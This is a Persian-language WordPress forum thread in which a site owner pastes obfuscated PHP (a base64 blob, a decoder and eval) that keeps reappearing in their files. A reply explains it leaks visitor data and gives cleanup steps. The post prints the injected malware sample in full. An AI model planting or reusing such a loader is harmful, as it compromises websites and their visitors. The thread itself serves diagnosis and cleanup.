رفتن به مطلب

ویروسی شدن کدها


kingblog

پست های پیشنهاد شده

سلام

کد زیر هر چند وقت یکبار اول بیشتر فایلهای php اضافه میشه و اکثر این کدها رو خراب میکنه. این کد رو حذف می کنم ولی بعد از مدتی دوباره ظاهر میشه . میخوام بدونم کار این کدهای مخرب چیه و چیکار کنم که به فایل php اضافه نشن؟


<?php /*versio:3.02*/ $GLOBALS["droxyl"]="JNyaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuwCrBZGlzcGxheV9lcnJvcnMdZmVkb3IvcmVzdG9yZV9hZgacUMy4wMghuDdGhhaDFOaWV0aGFpMnphaDZBaHIzoAUHaHR0cDovLwcUPqtSFRUUFMb2ZmDRaHR0cHM6Ly8ySFRUUF9IT1NUKKmdW5pb24xDXvDwbNBc2VsZWN0fsUkVRVUVTVF9VUkkU0NSSVBUX05BTUUUVVFUllfU1RSSU5HYTbOEKPwejQxZGV0ZXJtaW5hdG9yDWrLgeKyIKFLmxvZwzSFRUUF9ZX0FVVEgkieYmFzZTY0X2RlY29kZQOvJdmVyc2lviMQZLQvbwrcLXBocAhlpbKXSFRUUF9FWEVDUEhQxkEwuNb3V0aLb2seSFRUUF9VU0VSX0FHRU5ULAtCxZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxVfSYQePLYmxhYnVlbC5uZXQKXeZmFzdGFkZHouY29tvWPCL3czLnBocD91PQRusiJms9sfSXJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzdHZvdG9XL3lxN3hFd3dNQWdvb3RQTGpjMGM1MDZUT1czajJKT2N6R2tJd3FaU2VjbEx0T2wzdjJzL0VHeDFjdjRTMTlwN3ZkZHZyUjM0U0x6eXNCL0UyQk1GRHhjNGk0TFlLWkpNNlBkZlVRQnN2NHpkSWtoaUc5ZEJYdVRpRm9lQnYzSlRVWldHc3FiMnlibFpFQWQyam91V09aUTBWZGJWdm95MC92VVpQbHcyWlcwS2ZCWDRiNmpSZ3V5WEVEdXJ3NkV1Vmw0czluRGs1VzR1bzArOW9zelR6UnBaNk83eHg0OCtla1V0SlFyY0xDbUNDSXRGVm1LUWwrR2l6R0xrNDhSdlJMelQ0a1RlM3ZlZTh6Qnp0bUt2VHNzd3JHVFVpL3pVZDU3Qm8xNjBkb3UwQU9HQ1cyYWhjSTE2KzFXMUtuWkE0VHhGc01HdEFsZ2tUTlRGWjNCUmNNSXcyZGx3eWZhVEZNZENIMWtnUlJPSXpkeXdtUitFbUp5MjNTUXVjQXhoRmRaRmtYNFpEQVNrSUc0UCtXSUdLVWo0dExQOFoxZWdidUF3eCtkU3cwM3NVL3NQYnZtU2c3VXpUaFhoYW0rRGd5VEpUM3lBdENRcDhhTG5iZU00ZGs2WXVNWXVzR2I4b3NqRnl1anI0K0xIL2NQU2hoOFovUXZiM1pLWWZsbk85L25OSC9PRmpId0hmUHZ0eWNWOCtiaTRXeTV1N241K0l6ZDR5aTlmK0hwL2R6Zi91bHplL2ptL2YxekthRXdDc1FxTEtIcW00V0Z1Ti9lSUtKSngydzJUSEhlb0pPQTRTb3U5eUM5RG1Gc3hnbkQ5MW1TWFU1dE1rVkpsTlVqVStYbmlia2hkdEZVM1VhSHl0c242c1BGbEdyOXFEeDhHMTluVUx4R3oyU1UxOXBnNmROb1JZTGFmbHFRSW1wWVIvamRmb2xlZWhUZEJJV25JTitqN2N2a3cwQlFWQ1A5ay84VHc4ejNKaXk4SVBsNjVTVytVUWNLVWxmRytURURGdy9jSCsvNm5JZ3dFaFh6K05WLzh2TDIvTzZQME1jZlo1NXRucU9rdm9KemRwL0lhbWJzMTFMNTRkYUhQdVZOOTlPa1RFdC8xTmZyY3N2K0Q5SDRiRUlVRUZ0cXBZNGltVDJpdnpIeWV5Q01NOU9wTkdhUTFPSVhyTkV3OExBcEgrK1JHSkp3clk0SlkvUFF2OWFuRmxTQTZjNCtkb3pyZlRxREdUYjJpMnI2azRjSEp4SjdyMTFYcHdQa0VKM3NYZ3hQWVhTZEkrTnNXRk01VWhDL3d6Zmc4U2FmZ2xWWk9Wbm1GVjIwUEc3RzMzbTdxbWdocXdLVm4vNXd2SUVPL09PdUozTzVWL3JhTWF1dUl3SVlwQVVMckpDQkJtSUd5bGpWU3BaRXUwejRKL04waGRGcVdOcFRNaWF5Yk5JNjBXRG84U2ROMU1oSlk0UVk1alY5alRIdE1oK0ZneUdiL3FSa3hzek9ITkZQU05YSUlYVm5vU0I2UEpYTXFqeWpDdlZjL0dzUE1NV1JONHpuZ0J4UXJMN0lpQVV6RzJWbE4ra2dhVG1WTjc1TU0rMG1HSFhjTmJXZVQ5bkZ5eEpOaS9iZk5HTEVaaEtZRWJSaFJic1daQnN4Rms0eEZLdUlYdi8vVWphRXFqVlVaNHRSQytTVng1bFRTSUZpVDM4bURvSUFUVE40YkdDZGVYUXE5S3VucVNOWU1FbnFDSng4T21KREQ0WkNlb05qNE1Wb1RVeHJxOUFESjhzVWs2NW9oYVJEVjhVVlZtcUZLQmpPRzlHOG5nQ05wb3N0NkgwYklPUU9tSTJta1VzSFg3eG90VGRKVnRVbjNkVlVmUkZJaC9yN0NtOUR5Z2l4MkFFUnMrOXZ0ajdsdDk1VS9iaGN3RWU0WGY0UDRoNXZGRFh4Q1BhZTQydGNIOFBzbXk1eTlpSVNCaDZ0QnZvNmd2WVZCRWFVRHhZZHgvYm1NZzdvbDNYNmRONVRXWEdINTU0UHdkRXFaSDBuenU3KzZKNXEvWU5VSmhWK2dlb2owNDRaUkF2dzRuZzFrRzN3VFlJbmlyaW9DTzNyOHUwcy84dzFqd0M3bEY3Z3VGRDBHM2trTDhJQ1FKa2hXbTJ4ZDhOcS80bk9RRTBtbzJhZGluWTBzMjQ5eWU1Y0ZoYk1DOU8vZVpNYVFyWU1ScjlFSzlHOGFIRzFtS2p0MlRRdWN0a3ZZamxBeURnQjJYaEhiWk1VT2lnRFVqR2daTm90bTAzQzlvS3dTSEZzTlNwd3J0YlpDaWFHSHZFNTJrVFdMUEtOUnJQQ3h5QkZVNFhCSndIRzNyc3VWYTcwclNxVURsanJNZmIydmNMblhINHpYUWIybU05dTVPSXJJNlhPUzcwbThHSzBWcVVOdk10aStBS3BENEJ0VDZwQmxjYjNFc3pSY1IwWGFBc3BRMDBHUVJnWW9HMDU4QnAyT3N1UHhLU0RDR0NCS2JpWkp4OHN4K0RBeHFaOXNBTFc4NFhCSUlIN2NieGFkS25aeHVyYTRPZWNjMEtlcVpJNDVxc0N6QTFkTzJOejdsOFlPSjlMUVVHR0V5QzNrVEdBQ3dITmwyR2NWVWdlRnlJcWx0L0pmRGdleWNIMGpleWxFUDR5Y29DZ0pOdjUrcXVnbVZKNXVrQ2ZReVZocFZvNU9rVTBrZlV3cW9XT1FEaUdkam1RREJoM3R2a081amVMTnU4bkRUSkdQM0N2TG9sYlN2YWdxNHkzYk45bXUrYUZXSVBqR1dCNmZhSjFBVWFyRUZGSm44U3JjMXVRMU1DdEpyN25FNm5PT3FyUldET3JtekNjdER2M045TU55VHBhM1Bpd3hCV3cwekU3K2g0bUhQM1FwUEc1cDdDTGQwR25vclNWc2ZpZVEwSUFKZVVJMWZ0RmlLSkxTWFl0dHB3QmV1bUhwWVR1Qit1alFPeGpRcEJjZWFFUVA3WVdYdUU1ZWprT2dIYkprSnhvVFJ6c1JHMDVneXJFeDEzVGRxUlZFSWdlYVRoZzVpWGpKdG5QVW5YK3FLWTAwZUJ5UG9HZll3VTdhZEEyYVRaTkhSOXhvZVNOaktFMU5zc2g4N0xVeERNM3BoRjVqTFVwMisxV3c4Y2g3OXQxam1FVUFGdDcyUFh6OU1ib01uZm43NWoxMGpVMFkvZ2FETHI2Ty9SL0lEVE5EIikpKTsV"; if (!function_exists('qelifbcp')){function qelifbcp($a, ${$c=$GLOBALS['droxyl'];$d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $);};eval(qelifbcp(566,3283));};?>

لینک به ارسال

سلام

این کدها برای ارسال اطلاعات بازدید کننده هستن

در انجمن جستجو کنید قبلا همین مشکل رو داشتن که به صورت کامل راهنمایی کردم به طور خلاصه :

وردپرس رو به صورت کامل حذف کنید به جز wp-content و wp-config و دوبراه دستی آپدیت کنید

تما فولدر wp-content که فایل index.php دارند رو بگردید و اگر این کرد رو داشتند حذف کنید و تمام فایل های پوسته رو همین کارو کنید

سیستمتون رو ویروس یابی کنید یک تروجانی به اسم فکر کنم erop.pif هست که این کد رو اضافه میکنه البته اگر یک بار اضافه بشه خودش به صورت خودکار به همه فایل های پوسته اضافه میکنه

  • امتیاز 4
لینک به ارسال

لطفا برای ارسال دیدگاه وارد شوید

شما بعد از اینکه وارد حساب کاربری خود شدید می توانید دیدگاهی ارسال کنید



ورود به حساب کاربری
×
×
  • اضافه کردن...